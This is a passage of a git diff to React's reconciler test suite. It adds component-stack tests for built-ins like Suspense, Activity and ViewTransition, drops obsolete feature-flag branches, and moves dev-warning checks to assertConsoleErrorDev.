         'CatchingBoundary',
       ]),
+      __DEV__ ? componentStack(['Bar', 'Foo']) : null,
+    ]);
+  });
+
+  it('includes built-in for Suspense', async () => {
+    ReactNoop.createRoot({
+      onCaughtError,
+    }).render(
+      <CatchingBoundary>
+        <Suspense>
+          <SomethingThatErrors />
+        </Suspense>
+      </CatchingBoundary>,
+    );
+    await waitForAll([]);
+    expect(didCatchErrors).toEqual([
+      'uh oh',
+      componentStack(['SomethingThatErrors', 'Suspense', 'CatchingBoundary']),
+    ]);
+    expect(rootCaughtErrors).toEqual([
+      'uh oh',
+      componentStack(['SomethingThatErrors', 'Suspense', 'CatchingBoundary']),
+      __DEV__ ? componentStack(['SomethingThatErrors']) : null,
+    ]);
+  });
+
+  it('includes built-in for Suspense fallbacks', async () => {
+    const SomethingThatSuspends = React.lazy(() => {
+      return new Promise(() => {});
+    });
+
+    ReactNoop.createRoot({
+      onCaughtError,
+    }).render(
+      <CatchingBoundary>
+        <Suspense fallback={<SomethingThatErrors />}>
+          <SomethingThatSuspends />
+        </Suspense>
+      </CatchingBoundary>,
+    );
+    await waitForAll([]);
+    expect(didCatchErrors).toEqual([
+      'uh oh',
+      componentStack([
+        'SomethingThatErrors',
+        'Suspense Fallback',
+        'CatchingBoundary',
+      ]),
+    ]);
+    expect(rootCaughtErrors).toEqual([
+      'uh oh',
+      componentStack([
+        'SomethingThatErrors',
+        'Suspense Fallback',
+        'CatchingBoundary',
+      ]),
+      __DEV__ ? componentStack(['SomethingThatErrors']) : null,
+    ]);
+  });
+
+  it('includes built-in for Activity', async () => {
+    ReactNoop.createRoot({
+      onCaughtError,
+    }).render(
+      <CatchingBoundary>
+        <Activity>
+          <SomethingThatErrors />
+        </Activity>
+      </CatchingBoundary>,
+    );
+    await waitForAll([]);
+    expect(didCatchErrors).toEqual([
+      'uh oh',
+      componentStack(['SomethingThatErrors', 'Activity', 'CatchingBoundary']),
+    ]);
+    expect(rootCaughtErrors).toEqual([
+      'uh oh',
+      componentStack(['SomethingThatErrors', 'Activity', 'CatchingBoundary']),
+      __DEV__ ? componentStack(['SomethingThatErrors']) : null,
+    ]);
+  });
+
+  // @gate enableViewTransition
+  it('includes built-in for ViewTransition', async () => {
+    ReactNoop.createRoot({
+      onCaughtError,
+    }).render(
+      <CatchingBoundary>
+        <ViewTransition>
+          <SomethingThatErrors />
+        </ViewTransition>
+      </CatchingBoundary>,
+    );
+    await waitForAll([]);
+    expect(didCatchErrors).toEqual([
+      'uh oh',
+      componentStack([
+        'SomethingThatErrors',
+        'ViewTransition',
+        'CatchingBoundary',
+      ]),
+    ]);
+    expect(rootCaughtErrors).toEqual([
+      'uh oh',
+      componentStack([
+        'SomethingThatErrors',
+        'ViewTransition',
+        'CatchingBoundary',
+      ]),
+      __DEV__ ? componentStack(['SomethingThatErrors']) : null,
+    ]);
+  });
+
+  it('includes built-in for Lazy', async () => {
+    // Lazy component throws
+    const LazyComponent = React.lazy(() => {
+      throw new Error('uh oh');
+    });
+
+    ReactNoop.createRoot({
+      onCaughtError,
+    }).render(
+      <CatchingBoundary>
+        <LazyComponent />
+      </CatchingBoundary>,
+    );
+    await waitForAll([]);
+    expect(didCatchErrors).toEqual([
+      'uh oh',
+      componentStack(['Lazy', 'CatchingBoundary']),
+    ]);
+    expect(rootCaughtErrors).toEqual([
+      'uh oh',
+      componentStack(['Lazy', 'CatchingBoundary']),
+      __DEV__ ? '' : null, // No owner stack
+    ]);
+  });
+
+  // @gate enableSuspenseList
+  it('includes built-in for SuspenseList', async () => {
+    const SuspenseList = React.unstable_SuspenseList;
+
+    ReactNoop.createRoot({
+      onCaughtError,
+    }).render(
+      <CatchingBoundary>
+        <SuspenseList revealOrder="independent">
+          <SomethingThatErrors />
+        </SuspenseList>
+      </CatchingBoundary>,
+    );
+    await waitForAll([]);
+    expect(didCatchErrors).toEqual([
+      'uh oh',
+      componentStack([
+        'SomethingThatErrors',
+        'SuspenseList',
+        'CatchingBoundary',
+      ]),
+    ]);
+    expect(rootCaughtErrors).toEqual([
+      'uh oh',
+      componentStack([
+        'SomethingThatErrors',
+        'SuspenseList',
+        'CatchingBoundary',
+      ]),
+      __DEV__ ? componentStack(['SomethingThatErrors']) : null,
+    ]);
+  });
+
+  it('does not include built-in for Fragment', async () => {
+    ReactNoop.createRoot({
+      onCaughtError,
+    }).render(
+      <CatchingBoundary>
+        <>
+          <SomethingThatErrors />
+        </>
+      </CatchingBoundary>,
+    );
+    await waitForAll([]);
+    expect(didCatchErrors).toEqual([
+      'uh oh',
+      componentStack([
+        'SomethingThatErrors',
+        // No Fragment
+        'CatchingBoundary',
+      ]),
+    ]);
+    expect(rootCaughtErrors).toEqual([
+      'uh oh',
+      componentStack([
+        'SomethingThatErrors',
+        // No Fragment
+        'CatchingBoundary',
+      ]),
+      __DEV__ ? componentStack(['SomethingThatErrors']) : null,
     ]);
   });
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactExpiration-test.js b/packages/react-reconciler/src/__tests__/ReactExpiration-test.js
index cd09ca347885..1c678f8cfe4b 100644
--- a/packages/react-reconciler/src/__tests__/ReactExpiration-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactExpiration-test.js
@@ -115,54 +115,28 @@ describe('ReactExpiration', () => {
     }
   }
 
-  function flushNextRenderIfExpired() {
-    // This will start rendering the next level of work. If the work hasn't
-    // expired yet, React will exit without doing anything. If it has expired,
-    // it will schedule a sync task.
-    Scheduler.unstable_flushExpired();
-    // Flush the sync task.
-    ReactNoop.flushSync();
-  }
-
   it('increases priority of updates as time progresses', async () => {
-    if (gate(flags => flags.forceConcurrentByDefaultForTesting)) {
-      ReactNoop.render(<span prop="done" />);
-      expect(ReactNoop).toMatchRenderedOutput(null);
-
-      // Nothing has expired yet because time hasn't advanced.
-      flushNextRenderIfExpired();
-      expect(ReactNoop).toMatchRenderedOutput(null);
-      // Advance time a bit, but not enough to expire the low pri update.
-      ReactNoop.expire(4500);
-      flushNextRenderIfExpired();
-      expect(ReactNoop).toMatchRenderedOutput(null);
-      // Advance by another second. Now the update should expire and flush.
-      ReactNoop.expire(500);
-      flushNextRenderIfExpired();
-      expect(ReactNoop).toMatchRenderedOutput(<span prop="done" />);
-    } else {
-      ReactNoop.render(<Text text="Step 1" />);
-      React.startTransition(() => {
-        ReactNoop.render(<Text text="Step 2" />);
-      });
-      await waitFor(['Step 1']);
+    ReactNoop.render(<Text text="Step 1" />);
+    React.startTransition(() => {
+      ReactNoop.render(<Text text="Step 2" />);
+    });
+    await waitFor(['Step 1']);
 
-      expect(ReactNoop).toMatchRenderedOutput('Step 1');
+    expect(ReactNoop).toMatchRenderedOutput('Step 1');
 
-      // Nothing has expired yet because time hasn't advanced.
-      await unstable_waitForExpired([]);
-      expect(ReactNoop).toMatchRenderedOutput('Step 1');
+    // Nothing has expired yet because time hasn't advanced.
+    await unstable_waitForExpired([]);
+    expect(ReactNoop).toMatchRenderedOutput('Step 1');
 
-      // Advance time a bit, but not enough to expire the low pri update.
-      ReactNoop.expire(4500);
-      await unstable_waitForExpired([]);
-      expect(ReactNoop).toMatchRenderedOutput('Step 1');
+    // Advance time a bit, but not enough to expire the low pri update.
+    ReactNoop.expire(4500);
+    await unstable_waitForExpired([]);
+    expect(ReactNoop).toMatchRenderedOutput('Step 1');
 
-      // Advance by a little bit more. Now the update should expire and flush.
-      ReactNoop.expire(500);
-      await unstable_waitForExpired(['Step 2']);
-      expect(ReactNoop).toMatchRenderedOutput('Step 2');
-    }
+    // Advance by a little bit more. Now the update should expire and flush.
+    ReactNoop.expire(500);
+    await unstable_waitForExpired(['Step 2']);
+    expect(ReactNoop).toMatchRenderedOutput('Step 2');
   });
 
   it('two updates of like priority in the same event always flush within the same batch', async () => {
@@ -408,57 +382,36 @@ describe('ReactExpiration', () => {
     jest.resetModules();
     Scheduler = require('scheduler');
 
-    if (gate(flags => flags.forceConcurrentByDefaultForTesting)) {
-      // Before importing the renderer, advance the current time by a number
-      // larger than the maximum allowed for bitwise operations.
-      const maxSigned31BitInt = 1073741823;
-      Scheduler.unstable_advanceTime(maxSigned31BitInt * 100);
-      // Now import the renderer. On module initialization, it will read the
-      // current time.
-      ReactNoop = require('react-noop-renderer');
-      ReactNoop.render('Hi');
+    const InternalTestUtils = require('internal-test-utils');
+    waitFor = InternalTestUtils.waitFor;
+    assertLog = InternalTestUtils.assertLog;
+    unstable_waitForExpired = InternalTestUtils.unstable_waitForExpired;
 
-      // The update should not have expired yet.
-      flushNextRenderIfExpired();
-      await waitFor([]);
-      expect(ReactNoop).toMatchRenderedOutput(null);
-      // Advance the time some more to expire the update.
-      Scheduler.unstable_advanceTime(10000);
-      flushNextRenderIfExpired();
-      await waitFor([]);
-      expect(ReactNoop).toMatchRenderedOutput('Hi');
-    } else {
-      const InternalTestUtils = require('internal-test-utils');
-      waitFor = InternalTestUtils.waitFor;
-      assertLog = InternalTestUtils.assertLog;
-      unstable_waitForExpired = InternalTestUtils.unstable_waitForExpired;
-
-      // Before importing the renderer, advance the current time by a number
-      // larger than the maximum allowed for bitwise operations.
-      const maxSigned31BitInt = 1073741823;
-      Scheduler.unstable_advanceTime(maxSigned31BitInt * 100);
-
-      // Now import the renderer. On module initialization, it will read the
-      // current time.
-      ReactNoop = require('react-noop-renderer');
-      React = require('react');
-
-      ReactNoop.render(<Text text="Step 1" />);
-      React.startTransition(() => {
-        ReactNoop.render(<Text text="Step 2" />);
-      });
-      await waitFor(['Step 1']);
+    // Before importing the renderer, advance the current time by a number
+    // larger than the maximum allowed for bitwise operations.
+    const maxSigned31BitInt = 1073741823;
+    Scheduler.unstable_advanceTime(maxSigned31BitInt * 100);
+
+    // Now import the renderer. On module initialization, it will read the
+    // current time.
+    ReactNoop = require('react-noop-renderer');
+    React = require('react');
 
-      // The update should not have expired yet.
-      await unstable_waitForExpired([]);
+    ReactNoop.render(<Text text="Step 1" />);
+    React.startTransition(() => {
+      ReactNoop.render(<Text text="Step 2" />);
+    });
+    await waitFor(['Step 1']);
 
-      expect(ReactNoop).toMatchRenderedOutput('Step 1');
+    // The update should not have expired yet.
+    await unstable_waitForExpired([]);
 
-      // Advance the time some more to expire the update.
-      Scheduler.unstable_advanceTime(10000);
-      await unstable_waitForExpired(['Step 2']);
-      expect(ReactNoop).toMatchRenderedOutput('Step 2');
-    }
+    expect(ReactNoop).toMatchRenderedOutput('Step 1');
+
+    // Advance the time some more to expire the update.
+    Scheduler.unstable_advanceTime(10000);
+    await unstable_waitForExpired(['Step 2']);
+    expect(ReactNoop).toMatchRenderedOutput('Step 2');
   });
 
   it('should measure callback timeout relative to current time, not start-up time', async () => {
@@ -699,7 +652,14 @@ describe('ReactExpiration', () => {
       React.startTransition(() => {
         root.render(<App step={1} />);
       });
-      await waitForAll(['Suspend! [A1]', 'Loading...']);
+      await waitForAll([
+        'Suspend! [A1]',
+        // pre-warming
+        'B',
+        'C',
+        // end pre-warming
+        'Loading...',
+      ]);
 
       // Lots of time elapses before the promise resolves
       Scheduler.unstable_advanceTime(10000);
@@ -796,10 +756,16 @@ describe('ReactExpiration', () => {
 
       // The update finishes without yielding. But it does not flush the effect.
       await waitFor(['B1'], {
-        additionalLogsAfterAttemptingToYield: ['C1'],
+        additionalLogsAfterAttemptingToYield: gate(
+          flags => flags.enableYieldingBeforePassive,
+        )
+          ? ['C1', 'Effect: 1']
+          : ['C1'],
       });
     });
-    // The effect flushes after paint.
-    assertLog(['Effect: 1']);
+    if (!gate(flags => flags.enableYieldingBeforePassive)) {
+      // The effect flushes after paint.
+      assertLog(['Effect: 1']);
+    }
   });
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactFiberHostContext-test.internal.js b/packages/react-reconciler/src/__tests__/ReactFiberHostContext-test.internal.js
index 753c2d849b19..b0e827259dc4 100644
--- a/packages/react-reconciler/src/__tests__/ReactFiberHostContext-test.internal.js
+++ b/packages/react-reconciler/src/__tests__/ReactFiberHostContext-test.internal.js
@@ -83,6 +83,13 @@ describe('ReactFiberHostContext', () => {
         }
         return DefaultEventPriority;
       },
+      trackSchedulerEvent: function () {},
+      resolveEventType: function () {
+        return null;
+      },
+      resolveEventTimeStamp: function () {
+        return -1.1;
+      },
       shouldAttemptEagerTransition() {
         return false;
       },
@@ -90,12 +97,24 @@ describe('ReactFiberHostContext', () => {
       maySuspendCommit(type, props) {
         return false;
       },
-      preloadInstance(type, props) {
+      maySuspendCommitOnUpdate(type, oldProps, newProps) {
+        return false;
+      },
+      maySuspendCommitInSyncRender(type, props) {
+        return false;
+      },
+      preloadInstance(instance, type, props) {
         return true;
       },
-      startSuspendingCommit() {},
-      suspendInstance(type, props) {},
-      waitForCommitToBeReady() {
+      startSuspendingCommit() {
+        return null;
+      },
+      suspendInstance(state, instance, type, props) {},
+      suspendOnActiveViewTransition(state, container) {},
+      waitForCommitToBeReady(state, timeoutOffset) {
+        return null;
+      },
+      getSuspendedCommitReason(state, rootContainer) {
         return null;
       },
       supportsMutation: true,
diff --git a/packages/react-reconciler/src/__tests__/ReactFiberRefs-test.js b/packages/react-reconciler/src/__tests__/ReactFiberRefs-test.js
index 2a0590af3171..78409c8e2a4e 100644
--- a/packages/react-reconciler/src/__tests__/ReactFiberRefs-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactFiberRefs-test.js
@@ -85,36 +85,6 @@ describe('ReactFiberRefs', () => {
     expect(ref2.current).not.toBe(null);
   });
 
-  // @gate enableRefAsProp
-  // @gate !disableStringRefs
-  it('string ref props are converted to function refs', async () => {
-    let refProp;
-    function Child({ref}) {
-      refProp = ref;
-      return <div ref={ref} />;
-    }
-
-    let owner;
-    class Owner extends React.Component {
-      render() {
-        owner = this;
-        return <Child ref="child" />;
-      }
-    }
-
-    const root = ReactNoop.createRoot();
-    await act(() => root.render(<Owner />));
-
-    // When string refs aren't disabled, and enableRefAsProp is on, string refs
-    // the receiving component receives a callback ref, not the original string.
-    // This behavior should never be shipped to open source; it's only here to
-    // allow Meta to keep using string refs temporarily while they finish
-    // migrating their codebase.
-    expect(typeof refProp === 'function').toBe(true);
-    expect(owner.refs.child.type).toBe('div');
-  });
-
-  // @gate disableStringRefs
   it('throw if a string ref is passed to a ref-receiving component', async () => {
     let refProp;
     function Child({ref}) {
diff --git a/packages/react-reconciler/src/__tests__/ReactFlushSync-test.js b/packages/react-reconciler/src/__tests__/ReactFlushSync-test.js
index 3f8c62a42d1c..aa8ec0f1dd24 100644
--- a/packages/react-reconciler/src/__tests__/ReactFlushSync-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactFlushSync-test.js
@@ -7,6 +7,7 @@ let useState;
 let useEffect;
 let startTransition;
 let assertLog;
+let assertConsoleErrorDev;
 let waitForPaint;
 
 // TODO: Migrate tests to React DOM instead of React Noop
@@ -26,6 +27,7 @@ describe('ReactFlushSync', () => {
 
     const InternalTestUtils = require('internal-test-utils');
     assertLog = InternalTestUtils.assertLog;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
     waitForPaint = InternalTestUtils.waitForPaint;
   });
 
@@ -72,13 +74,11 @@ describe('ReactFlushSync', () => {
     return children.length === 0
       ? undefined
       : children.length === 1
-      ? children[0]
-      : children;
+        ? children[0]
+        : children;
   }
 
   it('changes priority of updates in useEffect', async () => {
-    spyOnDev(console, 'error').mockImplementation(() => {});
-
     function App() {
       const [syncState, setSyncState] = useState(0);
       const [state, setState] = useState(0);
@@ -102,30 +102,21 @@ describe('ReactFlushSync', () => {
 
       // The passive effect will schedule a sync update and a normal update.
       // They should commit in two separate batches. First the sync one.
-      await waitForPaint(
-        gate(flags => flags.enableUnifiedSyncLane) ? ['1, 1'] : ['1, 0'],
-      );
+      await waitForPaint(['1, 1']);
 
       // The remaining update is not sync
       ReactDOM.flushSync();
       assertLog([]);
+      assertConsoleErrorDev([
+        'flushSync was called from inside a lifecycle method. React ' +
+          'cannot flush when React is already rendering. Consider moving this ' +
+          'call to a scheduler task or micro task.' +
+          '\n    in App',
+      ]);
 
-      if (gate(flags => flags.enableUnifiedSyncLane)) {
-        await waitForPaint([]);
-      } else {
-        // Now flush it.
-        await waitForPaint(['1, 1']);
-      }
+      await waitForPaint([]);
     });
     expect(getVisibleChildren(container)).toEqual('1, 1');
-
-    if (__DEV__) {
-      expect(console.error.mock.calls[0][0]).toContain(
-        'flushSync was called from inside a lifecycle method. React ' +
-          'cannot flush when React is already rendering. Consider moving this ' +
-          'call to a scheduler task or micro task.%s',
-      );
-    }
   });
 
   it('supports nested flushSync with startTransition', async () => {
@@ -346,7 +337,6 @@ describe('ReactFlushSync', () => {
     expect(getVisibleChildren(container3)).toEqual('aww');
 
     // Because there were multiple errors, React threw an AggregateError.
-    // eslint-disable-next-line no-undef
     expect(error).toBeInstanceOf(AggregateError);
     expect(error.errors.length).toBe(2);
     expect(error.errors[0]).toBe(aahh);
diff --git a/packages/react-reconciler/src/__tests__/ReactFlushSyncNoAggregateError-test.js b/packages/react-reconciler/src/__tests__/ReactFlushSyncNoAggregateError-test.js
index adfeb3319bdc..b7f05d8a59d4 100644
--- a/packages/react-reconciler/src/__tests__/ReactFlushSyncNoAggregateError-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactFlushSyncNoAggregateError-test.js
@@ -89,8 +89,8 @@ describe('ReactFlushSync (AggregateError not available)', () => {
     return children.length === 0
       ? undefined
       : children.length === 1
-      ? children[0]
-      : children;
+        ? children[0]
+        : children;
   }
 
   it('completely exhausts synchronous work queue even if something throws', async () => {
diff --git a/packages/react-reconciler/src/__tests__/ReactFragment-test.js b/packages/react-reconciler/src/__tests__/ReactFragment-test.js
index fe1d1f4f953d..a9dbabca2449 100644
--- a/packages/react-reconciler/src/__tests__/ReactFragment-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactFragment-test.js
@@ -12,6 +12,7 @@
 let React;
 let ReactNoop;
 let waitForAll;
+let assertConsoleErrorDev;
 
 describe('ReactFragment', () => {
   beforeEach(function () {
@@ -22,6 +23,7 @@ describe('ReactFragment', () => {
 
     const InternalTestUtils = require('internal-test-utils');
     waitForAll = InternalTestUtils.waitForAll;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
   });
 
   it('should render a single child via noop renderer', async () => {
@@ -740,9 +742,15 @@ describe('ReactFragment', () => {
     await waitForAll([]);
 
     ReactNoop.render(<Foo condition={false} />);
-    await expect(async () => await waitForAll([])).toErrorDev(
-      'Each child in a list should have a unique "key" prop.',
-    );
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n' +
+        '\n' +
+        'Check the render method of `div`. ' +
+        'It was passed a child from Foo. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
+        '    in Foo (at **)',
+    ]);
 
     expect(ops).toEqual([]);
     expect(ReactNoop).toMatchRenderedOutput(
@@ -937,9 +945,16 @@ describe('ReactFragment', () => {
     }
 
     ReactNoop.render(<Foo condition={true} />);
-    await expect(async () => await waitForAll([])).toErrorDev(
-      'Each child in a list should have a unique "key" prop.',
-    );
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n' +
+        '\n' +
+        'Check the top-level render call using <Foo>. ' +
+        'It was passed a child from Foo. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
+        '    in span (at **)\n' +
+        '    in Foo (at **)',
+    ]);
 
     ReactNoop.render(<Foo condition={false} />);
     // The key warning gets deduped because it's in the same component.
diff --git a/packages/react-reconciler/src/__tests__/ReactHooks-test.internal.js b/packages/react-reconciler/src/__tests__/ReactHooks-test.internal.js
index a642458d9a2f..e61e4a825602 100644
--- a/packages/react-reconciler/src/__tests__/ReactHooks-test.internal.js
+++ b/packages/react-reconciler/src/__tests__/ReactHooks-test.internal.js
@@ -13,7 +13,6 @@
 'use strict';
 
 let React;
-let ReactFeatureFlags;
 let ReactTestRenderer;
 let Scheduler;
 let ReactDOMServer;
@@ -26,8 +25,6 @@ let waitForThrow;
 describe('ReactHooks', () => {
   beforeEach(() => {
     jest.resetModules();
-    ReactFeatureFlags = require('shared/ReactFeatureFlags');
-
     React = require('react');
     ReactTestRenderer = require('react-test-renderer');
     Scheduler = require('scheduler');
@@ -242,19 +239,17 @@ describe('ReactHooks', () => {
     await waitForAll(['Count: 0']);
     expect(root).toMatchRenderedOutput('0');
 
-    await expect(async () => {
-      await act(() =>
-        setCounter(1, () => {
-          throw new Error('Expected to ignore the callback.');
-        }),
-      );
-    }).toErrorDev(
+    await act(() =>
+      setCounter(1, () => {
+        throw new Error('Expected to ignore the callback.');
+      }),
+    );
+    assertConsoleErrorDev([
       'State updates from the useState() and useReducer() Hooks ' +
         "don't support the second callback argument. " +
         'To execute a side effect after rendering, ' +
         'declare it in the component body with useEffect().',
-      {withoutStack: true},
-    );
+    ]);
     assertLog(['Count: 1']);
     expect(root).toMatchRenderedOutput('1');
   });
@@ -276,19 +271,17 @@ describe('ReactHooks', () => {
     await waitForAll(['Count: 0']);
     expect(root).toMatchRenderedOutput('0');
 
-    await expect(async () => {
-      await act(() =>
-        dispatch(1, () => {
-          throw new Error('Expected to ignore the callback.');
-        }),
-      );
-    }).toErrorDev(
+    await act(() =>
+      dispatch(1, () => {
+        throw new Error('Expected to ignore the callback.');
+      }),
+    );
+    assertConsoleErrorDev([
       'State updates from the useState() and useReducer() Hooks ' +
         "don't support the second callback argument. " +
         'To execute a side effect after rendering, ' +
         'declare it in the component body with useEffect().',
-      {withoutStack: true},
-    );
+    ]);
     assertLog(['Count: 1']);
     expect(root).toMatchRenderedOutput('1');
   });
@@ -541,13 +534,8 @@ describe('ReactHooks', () => {
       });
     };
 
-    if (gate(flags => flags.enableUnifiedSyncLane)) {
-      // Update at transition priority
-      React.startTransition(() => update(n => n * 100));
-    } else {
-      // Update at normal priority
-      ReactTestRenderer.unstable_batchedUpdates(() => update(n => n * 100));
-    }
+    // Update at transition priority
+    React.startTransition(() => update(n => n * 100));
     // The new state is eagerly computed.
     assertLog(['Compute state (1 -> 100)']);
 
@@ -589,16 +577,17 @@ describe('ReactHooks', () => {
       });
     });
     assertLog(['Did commit: A']);
-    await expect(async () => {
-      await act(() => {
-        root.update(<App dependencies={['A', 'B']} />);
-      });
-    }).toErrorDev([
+    await act(() => {
+      root.update(<App dependencies={['A', 'B']} />);
+    });
+    assertConsoleErrorDev([
       'The final argument passed to useLayoutEffect changed size ' +
         'between renders. The order and size of this array must remain ' +
-        'constant.\n\n' +
+        'constant.\n' +
+        '\n' +
         'Previous: [A]\n' +
-        'Incoming: [A, B]\n',
+        'Incoming: [A, B]\n' +
+        '    in App (at **)',
     ]);
   });
 
@@ -625,14 +614,14 @@ describe('ReactHooks', () => {
     assertLog(['Compute']);
     expect(root).toMatchRenderedOutput('HELLO');
 
-    await expect(async () => {
-      await act(() => {
-        root.update(<App text="Hello" hasDeps={false} />);
-      });
-    }).toErrorDev([
+    await act(() => {
+      root.update(<App text="Hello" hasDeps={false} />);
+    });
+    assertConsoleErrorDev([
       'useMemo received a final argument during this render, but ' +
         'not during the previous render. Even though the final argument is ' +
-        'optional, its type cannot change between renders.',
+        'optional, its type cannot change between renders.\n' +
+        '    in App (at **)',
     ]);
   });
 
@@ -647,53 +636,62 @@ describe('ReactHooks', () => {
       return null;
     }
 
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(<App deps={'hello'} />, {
-          unstable_isConcurrent: true,
-        });
+    await act(() => {
+      ReactTestRenderer.create(<App deps={'hello'} />, {
+        unstable_isConcurrent: true,
       });
-    }).toErrorDev([
+    });
+    assertConsoleErrorDev([
       'useEffect received a final argument that is not an array (instead, received `string`). ' +
-        'When specified, the final argument must be an array.',
+        'When specified, the final argument must be an array.\n' +
+        '    in App (at **)',
       'useLayoutEffect received a final argument that is not an array (instead, received `string`). ' +
-        'When specified, the final argument must be an array.',
+        'When specified, the final argument must be an array.\n' +
+        '    in App (at **)',
       'useMemo received a final argument that is not an array (instead, received `string`). ' +
-        'When specified, the final argument must be an array.',
+        'When specified, the final argument must be an array.\n' +
+        '    in App (at **)',
       'useCallback received a final argument that is not an array (instead, received `string`). ' +
-        'When specified, the final argument must be an array.',
+        'When specified, the final argument must be an array.\n' +
+        '    in App (at **)',
     ]);
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(<App deps={100500} />, {
-          unstable_isConcurrent: true,
-        });
+    await act(() => {
+      ReactTestRenderer.create(<App deps={100500} />, {
+        unstable_isConcurrent: true,
       });
-    }).toErrorDev([
+    });
+    assertConsoleErrorDev([
       'useEffect received a final argument that is not an array (instead, received `number`). ' +
-        'When specified, the final argument must be an array.',
+        'When specified, the final argument must be an array.\n' +
+        '    in App (at **)',
       'useLayoutEffect received a final argument that is not an array (instead, received `number`). ' +
-        'When specified, the final argument must be an array.',
+        'When specified, the final argument must be an array.\n' +
+        '    in App (at **)',
       'useMemo received a final argument that is not an array (instead, received `number`). ' +
-        'When specified, the final argument must be an array.',
+        'When specified, the final argument must be an array.\n' +
+        '    in App (at **)',
       'useCallback received a final argument that is not an array (instead, received `number`). ' +
-        'When specified, the final argument must be an array.',
+        'When specified, the final argument must be an array.\n' +
+        '    in App (at **)',
     ]);
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(<App deps={{}} />, {
-          unstable_isConcurrent: true,
-        });
+    await act(() => {
+      ReactTestRenderer.create(<App deps={{}} />, {
+        unstable_isConcurrent: true,
       });
-    }).toErrorDev([
+    });
+    assertConsoleErrorDev([
       'useEffect received a final argument that is not an array (instead, received `object`). ' +
-        'When specified, the final argument must be an array.',
+        'When specified, the final argument must be an array.\n' +
+        '    in App (at **)',
       'useLayoutEffect received a final argument that is not an array (instead, received `object`). ' +
-        'When specified, the final argument must be an array.',
+        'When specified, the final argument must be an array.\n' +
+        '    in App (at **)',
       'useMemo received a final argument that is not an array (instead, received `object`). ' +
-        'When specified, the final argument must be an array.',
+        'When specified, the final argument must be an array.\n' +
+        '    in App (at **)',
       'useCallback received a final argument that is not an array (instead, received `object`). ' +
-        'When specified, the final argument must be an array.',
+        'When specified, the final argument must be an array.\n' +
+        '    in App (at **)',
     ]);
 
     await act(() => {
@@ -718,15 +716,15 @@ describe('ReactHooks', () => {
     });
     App.displayName = 'App';
 
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(<App deps={'hello'} />, {
-          unstable_isConcurrent: true,
-        });
+    await act(() => {
+      ReactTestRenderer.create(<App deps={'hello'} />, {
+        unstable_isConcurrent: true,
       });
-    }).toErrorDev([
+    });
+    assertConsoleErrorDev([
       'useImperativeHandle received a final argument that is not an array (instead, received `string`). ' +
-        'When specified, the final argument must be an array.',
+        'When specified, the final argument must be an array.\n' +
+        '    in App (at **)',
     ]);
     await act(() => {
       ReactTestRenderer.create(<App deps={null} />, {
@@ -825,17 +823,18 @@ describe('ReactHooks', () => {
     }
 
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
-        });
-      }).rejects.toThrow('create is not a function');
-    }).toErrorDev([
+      await act(() => {
+        ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
+      });
+    }).rejects.toThrow('create is not a function');
+    assertConsoleErrorDev([
+      'Expected useImperativeHandle() second argument to be a function ' +
+        'that creates a handle. Instead received: undefined.\n' +
+        '    in App (at **)',
       'Expected useImperativeHandle() first argument to either be a ' +
         'ref callback or React.createRef() object. ' +
-        'Instead received: an object with keys {focus}.',
-      'Expected useImperativeHandle() second argument to be a function ' +
-        'that creates a handle. Instead received: undefined.',
+        'Instead received: an object with keys {focus}.\n' +
+        '    in App (at **)',
     ]);
   });
 
@@ -849,13 +848,13 @@ describe('ReactHooks', () => {
     });
     App.displayName = 'App';
 
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
-      });
-    }).toErrorDev([
+    await act(() => {
+      ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
+    });
+    assertConsoleErrorDev([
       'Expected useImperativeHandle() second argument to be a function ' +
-        'that creates a handle. Instead received: object.',
+        'that creates a handle. Instead received: object.\n' +
+        '    in App (at **)',
     ]);
   });
 
@@ -941,13 +940,15 @@ describe('ReactHooks', () => {
       });
       return null;
     }
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
-      });
-    }).toErrorDev(
-      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks.',
-    );
+    await act(() => {
+      ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
+    });
+    assertConsoleErrorDev([
+      'Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' +
+        'You can only call Hooks at the top level of your React function. ' +
+        'For more information, see https://react.dev/link/rules-of-hooks\n' +
+        '    in App (at **)',
+    ]);
   });
 
   it('warns when reading context inside useMemo', async () => {
@@ -962,11 +963,16 @@ describe('ReactHooks', () => {
       }, []);
     }
 
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
-      });
-    }).toErrorDev('Context can only be read while React is rendering');
+    await act(() => {
+      ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
+    });
+    assertConsoleErrorDev([
+      'Context can only be read while React is rendering. ' +
+        'In classes, you can read it in the render method or getDerivedStateFromProps. ' +
+        'In function components, you can read it directly in the function body, ' +
+        'but not inside Hooks like useReducer() or useMemo().\n' +
+        '    in App (at **)',
+    ]);
   });
 
   it('warns when reading context inside useMemo after reading outside it', async () => {
@@ -985,11 +991,16 @@ describe('ReactHooks', () => {
       }, []);
     }
 
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(<App />, {unstable_isConcurrent: true});
-      });
